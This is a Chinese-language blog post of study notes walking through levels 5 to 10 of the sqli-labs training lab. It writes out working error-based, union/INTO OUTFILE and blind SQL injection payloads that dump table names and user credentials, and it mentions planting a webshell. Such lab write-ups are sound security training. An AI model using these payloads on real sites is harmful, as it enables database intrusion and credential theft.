sql-labs 闯关 5~10

2023-11-04

sql-labs 闯关 5~10

友善爱国平等诚信民主友善公正敬业爱国友善爱国公正友善自由友善敬业爱国平等

复习笔记1


内容:

  1. 盲注步骤思维导图
  2. sql-labs第五关(GET请求-双注入-单引号字符型)
  3. sql-labs第六关(GET请求-双注入-双引号字符型)
  4. sql-labs第七关(GET请求-导出文件-字符型)
  5. sql-labs第八关(GET请求-布尔型-单引号盲注)
  6. sql-labs第九关(GET请求-基于时间-单引号盲注)
  7. sql-labs第十关(GET请求-基于时间-双引号盲注)

1.盲注步骤思维导图

1.1


2.sql-labs 第五关

5.1
正常输入
5.2
判断是否为数值型
5.3
闭合点为'
5.4
成功确定闭合点
用以下任意一种报错注入方法,皆可获得信息(0x23,0x7e是ASCII编码,解码结果分别为#,~)

1.floor报错

?id=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),0x23,(database())))--+

5.5.1.1用floor报错注入,得到数据库名称为’security’

?id=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),0x23,(select group_concat(table_name) from information_schema.tables where table_schema='security')))--+

5.5.1.2
用floor报错注入,得到数据表名称

?id=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),0x23,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')))--+

5.5.1.3
用floor报错注入,得到字段名

?id=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),0x23,(select group_concat(username) from users)))--+

5.5.1.4
用翻译软件翻译出来的意思是[子查询返回超过 1 行],所以用count函数统计看看有多少数据

?id=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),0x23,(select count(username) from users)))--+

5.5.1.5
用floor报错注入,得到username有13个,既然输出一行,那么用limit一个一个输出

?id=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),0x23,(select username from users limit 0,1)))--+

5.5.1.6
用floor+limit报错注入,得到第一个用户账户
5.5.1.7
用floor+limit报错注入,得到第二个用户账户
以此类推,得到所有账户密码

2.updatexml报错

?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

5.5.2.1
尝试用updatexml报错注入,得到数据库名称

?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+

5.5.2.2
尝试用updatexml报错注入,得到数据表名称

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1)--+

5.5.2.3
尝试用updatexml报错注入,得到字段名称

?id=1' and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1)--+

5.5.2.4
尝试用updatexml报错注入,得到用户名

3.extractvalue报错

?id=1' and extractvalue(1,concat(0x23,database(),0x23))--+

5.5.3.1
尝试用extractvalue报错注入,得到数据库名称

?id=1' and extractvalue(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x23))--+

5.5.3.2
尝试用extractvalue报错注入,得到数据表名称
5.5.3.3
尝试用extractvalue报错注入,得到字段名称

?id=1' and extractvalue(1,concat(0x23,(select group_concat(username) from users),0x23))--+

5.5.3.4
尝试用extractvalue报错注入,得到用户名称,但明显可以看出,还没显示完整,用limit逐个查看

?id=1' and extractvalue(1,concat(0x23,(select username from users limit 0,1),0x23))--+

5.5.3.5
尝试用extractvalue报错注入,查看第一个账户名称

4.遇到的问题

5.5.1.8
5.5.2.5
5.5.3.6
如上面三张图所示,如果不将红框用括号框起来,就会显示语法错误,百度了很多,没查到详细的解释。
个人理解是concat函数是将多个字符串连接成一个字符串,而括号是为了提高优先级,没有括号的话,到了语句执行的时候,因为没有先后顺序,所以导致前面的字符串连接后面的sql查询语句,产生语法错误。
但不知道是否正确,有幸被大佬看见的话,请评论区评论告诉我正确答案,谢谢。
总的来说,记住加括号。


3.sql-labs 第六关

5.6.1
正常输入
5.6.2
判断是否为数值型
5.6.3
闭合点不是’,所以用双引号判断法尝试
5.6.4
闭合点为“
5.6.5
最终闭合点确定为”,尝试用报错注入,爆数据库名。三种报错方法具体参考请看第五题,本题开始只演示其中一种。

?id=1" and extractvalue(1,concat(0x23,database(),0x23))--+

5.6.6
爆库

?id=1" and extractvalue(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x23))--+

5.6.7
爆表

?id=1" and extractvalue(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x23))--+

5.6.8
爆字段

?id=1" and extractvalue(1,concat(0x23,(select group_concat(username) from users),0x23))--+

5.6.9
爆数据


4.sql-labs 第七关

按照常规套路,输入?id=1看到回显跟前几关不一样了,前几关有多游刃有余,现在就有多迷茫,去看了第七关的关卡名,翻译之后知道这关考察点是数据库文件操作,又看了好多关于这关的闯关步骤,勉强能跟着做下来,还需要后续复习巩固。

1.知识点

文件操作函数有两个:into outfile、load_file
into outfile用法:select “值” into outfile “文件路径和文件名”
load_file用法:select load_file( “文件路径”) 没看到具体示例
在使用函数前需要去mysql的my.ini文件设置secure_file_priv参数

具体内容请参考
sql注入下的outfile
SQLi-LABS-7
mysql语句 select … into outfile
sqli-labs-master 第七关详解
MySQL配置文件中basedir和datadir说明
诸如此类的文章有很多,请自行查阅

2.闯关

5.7.1
正常输入
5.7.2
判断是否为数值型
5.7.3
5.7.4
5.7.5
用单引号判断法,错误提示是语法错误,而用双引号判断法,没有错误提示,那么可以说明,闭合点是以'开头的
5.7.6
根据前几关的闭合经验,再次添加了),但是还是显示语法错误,我绞尽脑汁也想不到这关的闭合点是啥,放弃自己闯,跟着前辈慢慢来
5.7.7
我是万万没想到,困扰了我半个多小时的闭合点居然是')),感谢通关的大佬们,有了你们的笔记,我才能少走弯路。
5.7.8
5.7.9
从前几关就可以得出,列数有3列,通过上面两张图片对比可以看出

?id=-1')) union select @@datadir,@@basedir,database() into outfile "C:\\Users\\a\\Desktop\\1.txt" --+

5.7.10
用into outfile函数将mysql的数据库路径、mysql的安装路径、数据库库名都输出到桌面1.txt

?id=-1')) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' into outfile "C:\\Users\\a\\Desktop\\2.txt" --+

5.7.11
将表名输出到2.txt

?id=-1')) union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' into outfile "C:\\Users\\a\\Desktop\\3.txt" --+

5.7.12
将字段名输出到3.txt

?id=-1')) union select 1,group_concat(username),group_concat(password) from users into outfile "C:\\Users\\a\\Desktop\\4.txt" --+

5.7.13
将数据输出到4.txt
值得注意的是,如果输出的文件名是存在的话,文件内容并不会被覆盖;绝对路径必须是两个\,否则文件不会成功输出到指定位置
大部分教程都是通过into outfile上传一句话木马,再用菜刀连接,这个方法感觉更实用,不过不知道为什么老师发的软件没用了,现在还没试过。


5.sql-labs 第八关

1.布尔盲注可能会使用到的函数

substr(a,b,c)、mid(a,b,c):在字符串a中,从b开始截取c个字符(这两个函数一个效果)
left(a,b):在字符串a的左边开始,截取b个字符
regexp:正则表达,获取列

2.闯关

提示:这关特别繁琐,注释直接标在图上更清晰
5.8.1
正常输入,从页面来看,这题又回到了盲注
5.8.2
判断类型不是数值型
5.8.3
5.8.4
闭合点为',而且这关没有报错信息,所以不能使用报错注入,开始复杂的布尔盲注,个人感觉二分法在这里蛮好用的,不过有个缺点就是:当所求值在端点处时,验证步骤会多一两步
5.8.5.1
5.8.5.2
5.8.5.3
5.8.5.4
5.8.5.5
首先判断数据库长度,确定数据库长度为8
5.8.6.1
5.8.6.2
5.8.6.3
5.8.6.4
5.8.6.5
5.8.6.6
5.8.6.7
5.8.6.8
5.8.6.9
5.8.6.10
5.8.6.11
5.8.6.12
5.8.6.13
5.8.6.14
5.8.6.15
5.8.6.16
5.8.6.17
5.8.6.18
5.8.6.19
5.8.6.20
5.8.6.21
5.8.6.22
5.8.6.23
5.8.6.24
5.8.6.25
5.8.6.26
5.8.6.27
5.8.6.28
5.8.6.29
5.8.6.30
5.8.6.31
5.8.6.32
5.8.6.33
5.8.6.34
5.8.6.35
5.8.6.36
5.8.6.37
5.8.6.38
5.8.6.39
5.8.6.40
5.8.6.41
又经过反复试探,确定数据库名
5.8.7.1
5.8.7.2
5.8.7.3
确定有4张数据表
5.8.8.1
5.8.8.2
5.8.8.3
5.8.8.4
5.8.8.5
5.8.8.6
5.8.8.7
5.8.8.8
5.8.8.9
5.8.8.10
5.8.8.11
5.8.8.12
5.8.8.13
5.8.8.14
5.8.8.15
5.8.8.16
5.8.8.17
5.8.8.18
判断每张表的长度,第一张为6,第二张为8,第三张为7,第四张为5
5.8.9.1
5.8.9.2
5.8.9.3
5.8.9.4
5.8.9.5
5.8.9.6
5.8.9.7
5.8.9.8
5.8.8.9
5.8.9.10
5.8.9.11
5.8.9.12
5.8.9.13
5.8.9.14
5.8.9.15
5.8.9.16
5.8.9.17
5.8.9.18
5.8.9.19
5.8.9.20
5.8.9.21
5.8.9.22
5.8.9.23
5.8.9.24
5.8.9.25
5.8.9.26
5.8.9.27
5.8.9.28
5.8.9.29
5.8.9.30
5.8.9.31
5.8.9.32
5.8.9.33
5.8.9.34
5.8.9.35
5.8.9.36
5.8.9.27
5.8.9.28
5.8.9.29
5.8.9.30
5.8.9.31
5.8.9.32
5.8.9.33
5.8.9.34
5.8.9.35
5.8.9.36
5.8.9.37
5.8.9.38
5.8.9.39
5.8.9.40
5.8.9.41
5.8.9.42
5.8.9.43
5.8.9.44
5.8.9.45
5.8.9.46
5.8.9.47
5.8.9.48
5.8.9.49
5.8.9.50
5.8.9.51
5.8.9.52
5.8.9.53
5.8.9.54
5.8.9.55
5.8.9.56
5.8.9.57
5.8.9.58
5.8.9.59
5.8.9.60
5.8.9.61
5.8.9.62
5.8.9.63
5.8.9.64
5.8.9.65
5.8.9.66
5.8.9.67
5.8.9.68
5.8.9.69
5.8.9.70
5.8.9.71
5.8.9.72
5.8.9.73
5.8.9.74
5.8.9.75
5.8.9.76
5.8.9.77
5.8.9.78
5.8.9.79
5.8.9.80
5.8.9.81
5.8.9.82
5.8.9.83
5.8.9.84
5.8.9.85
5.8.9.86
5.8.9.87
5.8.9.88
5.8.9.89
5.8.9.905.8.9.91
5.8.9.92
5.8.9.93
5.8.9.94
5.8.9.95
5.8.9.96
5.8.9.97
5.8.9.98
5.8.9.99
5.8.9.100
5.8.9.101
5.8.9.102
5.8.9.103
5.8.9.104
5.8.9.105
5.8.9.106
5.8.9.107
5.8.9.108
5.8.9.109
5.8.9.110
5.8.9.111
5.8.9.112
5.8.9.113
5.8.9.114
5.8.9.115
5.8.9.116
5.8.9.117
5.8.9.118
5.8.9.119
又经过漫长的试探,逐个试出数据表名,分别为’emails’、‘referers’、‘uagents’、‘users’
5.8.10.1
5.8.10.2
5.8.10.3
5.8.10.4
判断字段数,有三个符合条件的字段
5.8.11.1
5.8.11.2
5.8.11.3
5.8.11.4
5.8..11.5
5.8.11.6
5.8.11.7
5.8.11.8
5.8.11.9

5.8.11.10
判断各个字段长度,第一个为2,第二个为8,第三个为8
5.8.12.1
5.8.12.2
5.8.12.3
5.8.12.4
5.8.12.5
5.8.12.6
5.8.12.7
5.8.12.8
5.8.12.9
5.8.12.10
5.8.12.115.8.12.12
5.8.12.13
5.8.12.14
5.8.12.15
5.8.12.16
5.8.12.17
5.8.12.18
5.8.12.19
5.8.12.20
5.8.12.21
5.8.12.22
5.8.12.23
5.8.12.24
5.8.12.25
5.8.12.26
5.8.12.27
5.8.12.28
5.8.12.29
5.8.12.30
5.8.12.31
5.8.12.32
5.8.12.33
5.8.12.34
5.8.12.35
5.8.12.36
5.8.12.37
5.8.12.38
5.8.12.39
5.8.12.40
5.8.12.41
5.8.12.42
5.8.12.43
5.8.12.44
5.8.12.45
5.8.12.46
5.8.12.47
5.8.12.48
5.8.12.49
5.8.12.50
5.8.12.51
5.8.12.525.8.12.53
5.8.12.54
5.8.12.55
5.8.12.56
5.8.12.57
5.8.12.58
5.8.12.59
5.8.12.60
5.8.12.61
5.8.12.62
5.8.12.63

5.8.12.64
5.8.12.65
5.8.12.66
5.8.12.67
5.8.12.68
5.8.12.69
5.8.12.70
5.8.12.71
5.8.12.72
5.8.12.73
5.8.12.74
5.8.12.75
5.8.12.76
5.8.12.77
5.8.12.78
5.8.12.79
5.8.12.80
5.8.12.81
5.8.12.82
5.8.12.83
5.8.12.84
5.8.12.85
5.8.12.86
5.8.12.87
5.8.12.88
5.8.12.89
经过来回试探,最终试出所有符合条件的字段名,第一个字段名为’id’,第二个字段名为’username’,第三个字段名为’password’
5.8.13.1
5.8.13.2
5.8.13.3
5.8.13.4
5.8.13.5
5.8.13.6
判断字段有多少条记录
5.8.14.1
5.8.14.2
5.8.14.3
判断记录长度
5.8.15.1
最后再试探一遍,试出所有数据,这次试完就真的好了,做完这题我觉得前面的关卡好友善,下次再遇到,建议使用sqlmap或者脚本,手工盲注试到怀疑人生


6.sql-labs 第九关

这关注入过程与布尔注入类似,只写个例子,具体参考第八关布尔注入
5.9.1.1
正常输入
5.9.1.2
5.9.1.3
打算判断类型,但是页面一直显示 you are in ……
5.9.1.4
发现不管输入说明,页面始终没有变化
burp不能抓本地包的话,访问地址改为物理地址,再抓包,可以对照上下两张图的ip
5.9.1.5
5.9.1.6
通过响应时间找到闭合点
5.9.2.1
5.9.2.2
5.9.2.3
判断数据库长度
5.9.3.1
5.9.3.2
以此类推判断数据库名
5.9.4.1
5.9.4.2
判断数据表数
5.9.5.1
判断数据表长度
5.9.6.1
判断数据表名
5.9.7.1
判断字段数
5.9.8.1
判断字段长度
5.9.9.1
判断字段名
5.9.10.1
判断数据


7.sql-labs 第十关

5.10.1.1
5.10.1.2
5.10.1.3

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

sql-labs 闯关 5~10 的相关文章

  • 如何在 SQL 中进行广度优先搜索?

    给定一棵存储为关系的树 Parent Child 1 2 1 3 3 4 3 5 2 6 7 8 7 9 如何获取给定节点的所有后代 例如 对于 1
  • 使用sqlbulkcopy之前如何创建表

    我有一个 DBF 文件 我正在尝试导入该文件 然后将其写入 SQL 表 我遇到的问题是 如果我使用 SqlBulkCopy 它需要我提前创建表 但在我的场景中这是不可能的 因为 dbf 文件不断变化 到目前为止 这是我的代码 public
  • 删除或更改 ETL 中的记录

    我有一个表 我在上面构建了 ETL 服务 货物记录 到达 离开 进入表格 我已经这样做了 我的桌子将被删除 当项目标识符第二次到达数据库时 两条记录都被删除 label cost time x2 29 14 5 2020 01 00 00
  • 对 SQL 时间序列进行采样

    我有一个日期时间的时间序列 存储在 mySQL 中的双列 并且希望每分钟对时间序列进行采样 即以一分钟的间隔提取最后一个值 有没有一种有效的方法可以在一个 select 语句中执行此操作 蛮力方法将涉及选择整个系列并在客户端进行采样或为每个
  • 如何比较 Postgresql 中日期时间字段中的日期?

    在比较 postgresql Windows 中的版本 9 2 4 中的日期时 我遇到了一个奇怪的情况 我的表中有一列说update date与类型timestamp without timezone 客户可以仅使用日期搜索此字段 例如 2
  • 选择每组最新的项目[重复]

    这个问题在这里已经有答案了 可能的重复 检索每组中的最后一条记录 https stackoverflow com questions 1313120 retrieving the last record in each group 我有 2
  • MySQL解释更新

    作为我大学复习的一部分 我试图回答以下问题 至少在表的一个属性上创建索引 employees 数据库 您可以在其中使用 MySQL EXPLAIN 工具 清楚地显示好处 在条款或检索方面 和负面 在 更新条款 创建相关索引的信息 对于第一部
  • C# 查询两个数据库的数据

    我目前有一个查询 我正在从两个不同的数据库获取数据 这些数据被附加到一个名为 accountbuys 的列表中 我的第一个表有三个数据条目 3个想要购买股票的帐户 下一张表有 17 个数据点 购买 17 只股票 I am merging t
  • 了解涉及 3 个或更多表时 JOIN 的工作原理。 [SQL]

    我想知道是否有人可以帮助我提高对 SQL 中 JOIN 的理解 如果它对问题很重要 我会特别考虑 MS SQL Server 取 3 个表 A B A 通过某些 A AId 与 B 相关 和 C B 通过某些 B BId 与 C 相关 如果
  • 从复选框列表中选择循环生成的复选框中的一个复选框

    抱歉我的英语不好 在我的 ASP NET 网站上 我从 SQL 表导入软件列表 看起来像这样 但实际上要长得多 Microsoft Application Error Reporting br br Microsoft Applicatio
  • 如何限制两个表之间一对多关系中的多个数量?

    我有一个带有两个 MySql 表的 MySQL 数据库 第一个是第一个表 表 A 有一列具有唯一值 从值 从 1 到 n 在第二个表 2 表 B 中 我有两列 在第一个表中我有一个名称 在第二个我的值从 1 到 n 如果我在 中添加一个值
  • SQL Server查询麻烦,多对多关系

    不知道如何用一行字来表达这个问题 对标题表示歉意 我的数据库中有3个表 例如 Shop Item 商店库存 Shop 和 Item 具有多对多关系 因此 ShopStock 表将它们链接起来 ShopStock 中的字段是 ID ShopI
  • 在 Django shell 会话期间获取 SQL 查询计数

    有没有办法打印 Django ORM 在 Django shell 会话期间执行的原始 SQL 查询的数量 Django 调试工具栏已经提供了此类信息 例如 5 QUERIES in 5 83MS但如何从 shell 中获取它并不明显 您可
  • 将子查询的结果插入表中并带有常量

    相关表格的概要如下 我有一个表 我们称之为联接 它有两列 都是其他表的外键 我们将这两列称为 userid 和buildingid 因此 join 看起来像 join userid buildingid 我基本上需要在这个表中插入一堆行 通
  • SQL Server 之间

    我有一个表 其中有年 月和一些数字列 Year Month Total 2011 10 100 2011 11 150 2011 12 100 2012 01 50 2012 02 200 现在 我想要SELECT2011 年 11 月至
  • 如何通过Object Id和Column Id查询表数据?

    有桌子Clients PK LastName Name Address 1 Vidal Arturo St 2 Lavezzi Ezequiel St 3 Cuadrado Guillermo St 我想得到 通过以下查询 我可以得到前四列
  • 插入后触发更新表列?

    在同一个表中添加任何记录后 我需要更新表中的列 这是我的sql代码 CREATE TRIGGER dbo EmployeeInsert ON dbo APP Employees AFTER INSERT AS BEGIN SET NOCOU
  • SQL Server 2012(代号:Denali)CTP 3的FIRST_VALUE和LAST_VALUE的实际用途是什么

    随着 Denali 的 CTP 3 版本的发布 我们有了更多的分析功能 其中我对其中两个感兴趣 a 第一个值 http msdn microsoft com en us library hh213018 28v SQL 110 29 asp
  • SQL使用多个/相关列计算项目频率?

    我对 SQL 完全陌生 并且阅读了有关 SQL 的 StackOverflow 帖子来尝试弄清楚这一点 以及其他来源 但无法在 SQL 中执行此操作 开始 我有一个 3 列和数千行的表 其中包含前 2 列的数据 第三列当前为空 我需要根据第
  • SQL:比较不同表中的两个计数

    我有 3 张桌子 一张桌子上有世界上每个国家及其代币 NAME CODE Afghanistan AFG Albania AL Algeria DZ American Samoa AMSA Andorra AND Angola ANG An

随机推荐

  • React控制元素显示隐藏的三种方法

    React控制元素显示和隐藏的方法目前我知道的有三种方法 第一种是通过state变量来控制是否渲染元素 类似vue中的v if 第二种是通过style控制display属性 类似vue 中的v show 第三种是通过动态切换classNam
  • S11、反射系数、回波损耗

    S11是反射系数中的一种 以dB为单位的S11就是回波损耗 S11 Pr Pin S11等于反射功率除以入射功率 是功率比 将S11转换成以dB为单位 10 lgS11 系数 S11 dB 就是回波损耗 HFSS里S11就是这样表示的 ma
  • 问题记录整理(持续更新)

    文章目录 Java SSL SpringBoot Springboot项目配置jar外部静态文件 Swagger JPA SpringCloud Gateway 不能使用 web MVC框架 Feign 每个参数需要指定PathVariab
  • Vue之mitt事务总线使用方法

    npm install S mitt 1 组件总线 vue入口文件main js中挂载全局属性 导入vue创建命令 import createApp from vue 导入vue入口组件 import App from App vue 导入
  • CMake can not determine linker language for target: Intro

    cmake minimum required VERSION 3 9 project Intro C set CMAKE CXX STANDARD 11 add executable Intro main cpp 原来是一个C语言的项目 本
  • Css如何优雅的实现抽奖转盘

    如图 抽奖转盘 可以拆分为几部分 1 底部大圆 2 中间小圆 3 扇形区 4 扇形内部奖品区 5 抽奖按钮 6 点击抽奖按钮时旋转动效及逻辑 这其中 扇形区 以及扇形区内奖品的布局最为关键和麻烦 这个问题解决 剩下的问题 那都不是事儿 那如
  • 10种电脑无法启动故障

    开机自检时出现问题后会出现各种各样的英文短句 短句中包含了非常重要的信息 读懂这些信息可以自己解决一些小问题 可是这些英文难倒了一部分朋友 下面是一些常见的BIOS短句的解释 是我在修电脑时 常出现的短句 大家可以参考一下 1 CMOS b
  • Spring基础知识讲解

    文章目录 Spring是什么 IoC容器与DI DI与IoC的区别 Spring项目的创建 配置maven国内源 创建Spring项目 有关Bean的操作 存储Bean 使用Bean ApplicationContext和BeanFacto
  • mmsegmentation中可视化

    目录 1 tools train py tools dist train sh 2 tools test py 指定输出到 pkl 文件 3 分析日志 绘制分类损失 日志分析 4 Flops Params fps的实现 fps的实现 too
  • 关于实现类按多属性排序的问题(compareTo()函数应用)

    class tongji char zi 字符 int num 出现次数 如上这个类 按照统计个数由多到少输出统计结果 如果统计的个数相同 则按照ASII码由小到大排序输出 1 num大的靠前 2 num 相同情况下 判断字符的ASII码
  • kafka总结概述

    kafka概述 消息中间件对比 特性 ActiveMQ RabbitMQ RocketMQ Kafka 开发语言 java erlang java scala 单机吞吐量 万级 万级 10万级 100万级 时效性 ms us ms ms级以
  • 谷歌开源芯片 180 纳米制造工艺

    谷歌一直在开源芯片方面发力 从跟 SkyWater Technology 的合作开始 SkyWater 为谷歌的开源芯片计划提供了 130nm 工艺的芯片设计 随后把工艺推进到 90nm 制造 为该开源芯片计划加了不少含金量 谷歌与Glob
  • leetcode 347:前K个高频词

    使用python的dict存储 value记录数量 再排序 最后输出 class Solution object def topKFrequent self nums k type nums List int type k int rtyp
  • ORA-12505: TNS: 监听程序当前无法识别连接描述符中所给出的SID等错误解决方法

    当遇到ORA 12505 TNS 监听程序当前无法识别连接描述符中所给出的SID等错误需要特别检查如下配置 1 检查数据库客户端 ORACLEHOME client 1 NETWORK ADMIN目录中的tnsnames ora文件看客户端
  • 如何自学Python爬虫? 零基础入门教程

    如何自学Python爬虫 在大家自学爬虫之前要解决两个常见的问题 一是爬虫到底是什么 二是问什么要用Python来做爬虫 爬虫其实就是自动抓取页面信息的网络机器人 至于用Python做爬虫的原因 当然还是为了方便 本文将为大家提供一份详细的
  • Docker笔记1 基础概念和镜像

    基础概念 开发环境deepin linux 15 11 安装docker之后 执行命令 sudo usermod aG docker USER NAME 让docker和当前用户在一个组中 可以每次不用执行sudo命令了 三个核心的概念 镜
  • 【电路补习笔记】10、电感式开关电源(BUCK 降压电路)

    目录 分类 封装 焊线式 覆晶式 开关电源 三种基本的非隔离开关电源 纹波 ripple 开关电源的元件构成 有源开关 肖特基二极管或快恢复二极管 不使用普通硅二极管的原因 电感 电容 分压电阻 输出电压设置 工作原理 工作模式 连续模式
  • laya快捷键

    Ctrl F6 构建html Ctrl F7 实时编译 Ctrl F8 实时编译 F11 UI导出 不导出图集 图集不变的情况用这个会快很多
  • 分类和标注词汇(基于nltk)

    早在小学你就学过名词 动词 形容词和副词之间的差异 这些 词类 不是闲置的文法家的发明 而是对许多语言处理任务都有用的分类 正如我们将看到的 这些分类源于对文本中词的分布的简单的分析 本章的目的是要回答下列问题 什么是词汇分类 在自然语言处
  • sql-labs 闯关 5~10

    sql labs 闯关 5 10 友善爱国平等诚信民主友善公正敬业爱国友善爱国公正友善自由友善敬业爱国平等 复习笔记1 内容 盲注步骤思维导图 sql labs第五关 GET请求 双注入 单引号字符型 sql labs第六关 GET请求 双